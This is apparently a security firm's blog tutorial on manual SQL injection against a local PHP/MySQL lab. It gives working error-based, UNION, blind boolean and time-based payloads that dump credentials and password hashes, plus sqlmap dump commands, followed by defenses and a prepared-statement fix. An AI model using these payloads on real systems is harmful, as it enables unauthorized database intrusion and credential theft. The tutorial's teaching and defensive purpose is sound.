Manual SQL Injection: Advanced Data Exfiltration Techniques

Manual SQL Injection: Advanced Data Exfiltration Techniques

1. Introduction

Manual SQL injection remains, more than two decades after the first public exploits, the technique that compromises the most databases in real-world assessments. Unlike automated scanners, manual SQL injection lets you understand exactly what happens inside each query, adapt the payload to the precise database engine, and exfiltrate data with a surgical precision that no generic tool achieves. In this article we will build a local lab with MySQL and PHP to walk through manual SQL injection end to end: detection, error-based injection, UNION-based extraction, blind boolean and time-based variants, and a responsible final pass with sqlmap automation.

Mastering this methodology is also the best school for defenders: anyone who can build an extraction payload understands where to sanitize, what to parameterize, and how to spot attempts in the logs. This article is exactly the path a professional auditor follows, with real commands you can verify on your own machine.

2. Detection: the first step of manual SQL injection

Every manual SQL injection assessment begins with solid detection. The golden rule is to observe how the application reacts to controlled input: a single quote, an arithmetic operator, or a SQL comment will reveal whether the parameter reaches the query concatenated or properly parameterized. In our lab, the application has a product search with a vulnerable id parameter:

# Original request: fetch the product with id=1
GET /producto.php?id=1

# Single quote: the MySQL syntax error appears
GET /producto.php?id=1'

# Expected error if the query is vulnerable (MySQL)
SQLSTATE[42000]: Syntax error or access violation:
1064 You have an error in your SQL syntax near ''1'''

Fig. 1 – Detection with a single quote and the MySQL engine error response.

That error message already gives three golden facts: the engine is MySQL, the query runs unfiltered, and there is no prior input validation. Notice that the error is returned verbatim to the application, releasing the engine base directory as well; that extra detail saves fingerprinting steps. The next step is confirming the arithmetic operator: if id=2-1 returns the product with id=1, the input is being evaluated as SQL. From that point, manual SQL injection moves to the mapping phase, fingerprinting the exact engine version with functions such as version() or @@version.

3. Error-based and UNION-based manual SQL injection

3.1. Error-based injection: extraction with extractvalue

The fastest path in manual SQL injection is error-based: we force the engine to return the result of a function inside its own error message. In MySQL, extractvalue() raises an XML error that includes whatever subquery we pass to it, which lets us dump credentials without even knowing the full database structure:

# Dump the user and engine version inside the error message
GET /producto.php?id=1 AND extractvalue(1, concat(0x7e, (select user()), 0x7e))

# Generated error with the data embedded
XPATH syntax error: '~root@localhost~'

# Get the encrypted password of the first user
GET /producto.php?id=1 AND extractvalue(1, concat(0x7e, (select password from users limit 1), 0x7e))

In under two minutes, manual SQL injection with extractvalue has already dumped a user hash. The equivalent technique in PostgreSQL uses a cast() of a subquery into an incompatible type, and in MSSQL, a conversion of the database name to int; knowing all three variants is what separates an auditor from a scanner.

3.2. UNION-based: the structured dump

When the application renders results on screen, the UNION-based variant is the most powerful: it merges the original query with one we control. The technical requirement is that both queries return the same number of columns:

# Determine the column count with ORDER BY
GET /producto.php?id=1 ORDER BY 10 -- -

# Confirm the visible positions on screen
GET /producto.php?id=1 UNION SELECT 1,2,3,4,5,6,7 -- -

# Dump credentials in the visible position (3)
GET /producto.php?id=1 UNION SELECT 1,2,concat(user(),'|',version()),4,5,6,7 -- -

Fig. 2 – UNION-based manual SQL injection: column counting and data dump in the visible page position.

Note the real SQL syntax in the payloads: the — – comment closes the original query and avoids syntax errors. Well-executed work also requires mastery of each engine’s schema catalog: information_schema in MySQL and PostgreSQL, sys.objects in MSSQL, and DBA_TABLES in Oracle. With that foundation, dumping table structures and passwords becomes mechanical and quiet. The PortSwigger cheat sheet collects the per-engine variants that every manual SQL injection practitioner should internalize.

Manual SQL injection: blind boolean oracle over MySQL with character-by-character extraction

4. Blind manual SQL injection: boolean and time-based

In many production deployments, the application shows neither errors nor data: it only returns correct or incorrect responses. Blind manual SQL injection then splits into two branches that exploit side channels of page behavior.

4.1. Blind boolean injection: the manual SQL injection oracle

If the page changes its content depending on whether the condition is true or false, you have a perfect oracle for the blind boolean variant. Every bit of information is extracted question by question, which is why it is optimized with substring functions and character comparisons:

# Normal page when the condition is true
GET /producto.php?id=1 AND substring(version(),1,1)=5 -- -

# Empty page when the condition is false
GET /producto.php?id=1 AND substring(version(),1,1)=8 -- -

# Byte-by-byte extraction of the first hash character
GET /producto.php?id=1 AND substring((select password from users limit 1),1,1)=0x24 -- -

Fig. 3 – Blind boolean manual SQL injection: oracle testing with version() and character-by-character hash extraction.

This manual process is slow but lethal, and it leaves no trace in application logs: every query is syntactically valid and returns one page or another. Blind boolean manual SQL injection is especially useful when a WAF filters suspicious payloads, because you can fragment it with LIKE operators and hex values to bypass signatures.

4.2. Time-based: the temporal channel

When the page shows no visual difference at all, the time-based variant turns the response delay into the information channel. In MySQL we use SLEEP() conditioned by SUBSTRING() to extract one character per pause:

# Temporal comparison: if the first character is '5', sleep for 4 seconds
GET /producto.php?id=1 AND IF(substring(version(),1,1)='5', SLEEP(4), 0) -- -

# Measure the real time of each request with curl
time curl -s "http://localhost/producto.php?id=1 AND IF(substring(version(),1,1)='5', SLEEP(4), 0) -- -"

The time-based variant is the auditor’s last trench, and the one sqlmap reproduces systematically when everything else fails. The defensive counterpart is clear: anomalous latency spikes on a single parameter are a clear attack signal that a WAF with rate limiting can cut quickly, and the OWASP project maintains the reference documentation on detecting and preventing all these variants.

5. Responsible automation with sqlmap

Once the theory is mastered, manual SQL injection is accelerated with sqlmap, the reference tool. But a good auditor never delegates understanding: first validate the vulnerability manually, then automate the mass extraction. The key flags to keep automation faithful to the manual method are the level, the risk, and the explicit technique selection:

# Automatic extraction of all reachable databases
python3 sqlmap.py -u "http://localhost/producto.php?id=1" --dbs --batch

# Restrict to the boolean technique with level 3 and risk 2
python3 sqlmap.py -u "http://localhost/producto.php?id=1" \
  --technique=B --level 3 --risk 2 --current-db

# Full dump with the time-based technique and custom delay
python3 sqlmap.py -u "http://localhost/producto.php?id=1" \
  --technique=T --time-sec 3 --dump -T users -D appdb

Fig. 4 – Extraction automation with sqlmap while preserving the manual SQL injection techniques.

Using sqlmap requires explicit authorization from the system owner; accessing or altering data without permission is a criminal offense in most jurisdictions, including the CFAA in the United States. This manual SQL injection guide, like all content on this blog, has a purely defensive and educational purpose, so you can audit your own systems or the ones you are contracted to test.

6. Data exfiltration and prevention

The final goal of this guide is controlled data exfiltration. The table below summarizes the techniques covered, their output channels, and how a properly built defense blocks each one:

Manual SQL injection technique Exfiltration channel Effective defense
Error-based (extractvalue) Engine error messages Suppress errors in production (display_errors=Off)
UNION-based HTML output rendered by the page Parameterized queries and ORM mapping
Blind boolean Content difference between pages WAF rules on parameters and rate limiting
Time-based Differential response latency Query timeout limits and latency monitoring
Automated (sqlmap) Combination of the above Source code patching and periodic self-pentesting

The core defense is simple and non-negotiable: every user input must reach the database through prepared statements. In PHP with PDO, the vulnerable case that opened this article is fixed by parameterizing the placeholder, and the same applies to every language:

# Vulnerable query (never do this)
$pdo->query("SELECT * FROM products WHERE id = $id");

# Fix with prepared statements
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$id]);

Fig. 5 – Fixing manual SQL injection with PDO prepared statements: the before and after of the vulnerable code.

7. Conclusion

Manual SQL injection remains an art and a science: detection with quotes and operators, error-based exploitation, UNION-based dumps, blind extraction through boolean or temporal channels, and finally the automation of the extraction phase with sqlmap. Every technique demands a deep knowledge of the database engine, the schema, and the application behavior, and it is precisely that knowledge that turns a technician into an auditor.

For the defense team the conclusion does not change: parameterize every query, hide errors in production, filter anomalous traffic, and audit yourself with the same manual SQL injection we have practiced. What you cannot break in a controlled way will one day break without any control. Combined with the CWE-89 reference for improper neutralization, this playbook gives your team both the offensive insight and the defensive checklist to close the loop.

Related articles: running your first SQL injection script in a controlled lab and in-depth analysis of blind SQL injection as a follow-up to manual SQL injection.

Need help with Manual SQL injection?

At Jaymon Security, we help organizations protect their systems. From security audits to SIEM/SOC implementation, our expert team designs custom solutions.

Contact us for a free infrastructure assessment.

Spain

No puedes copiar el contenido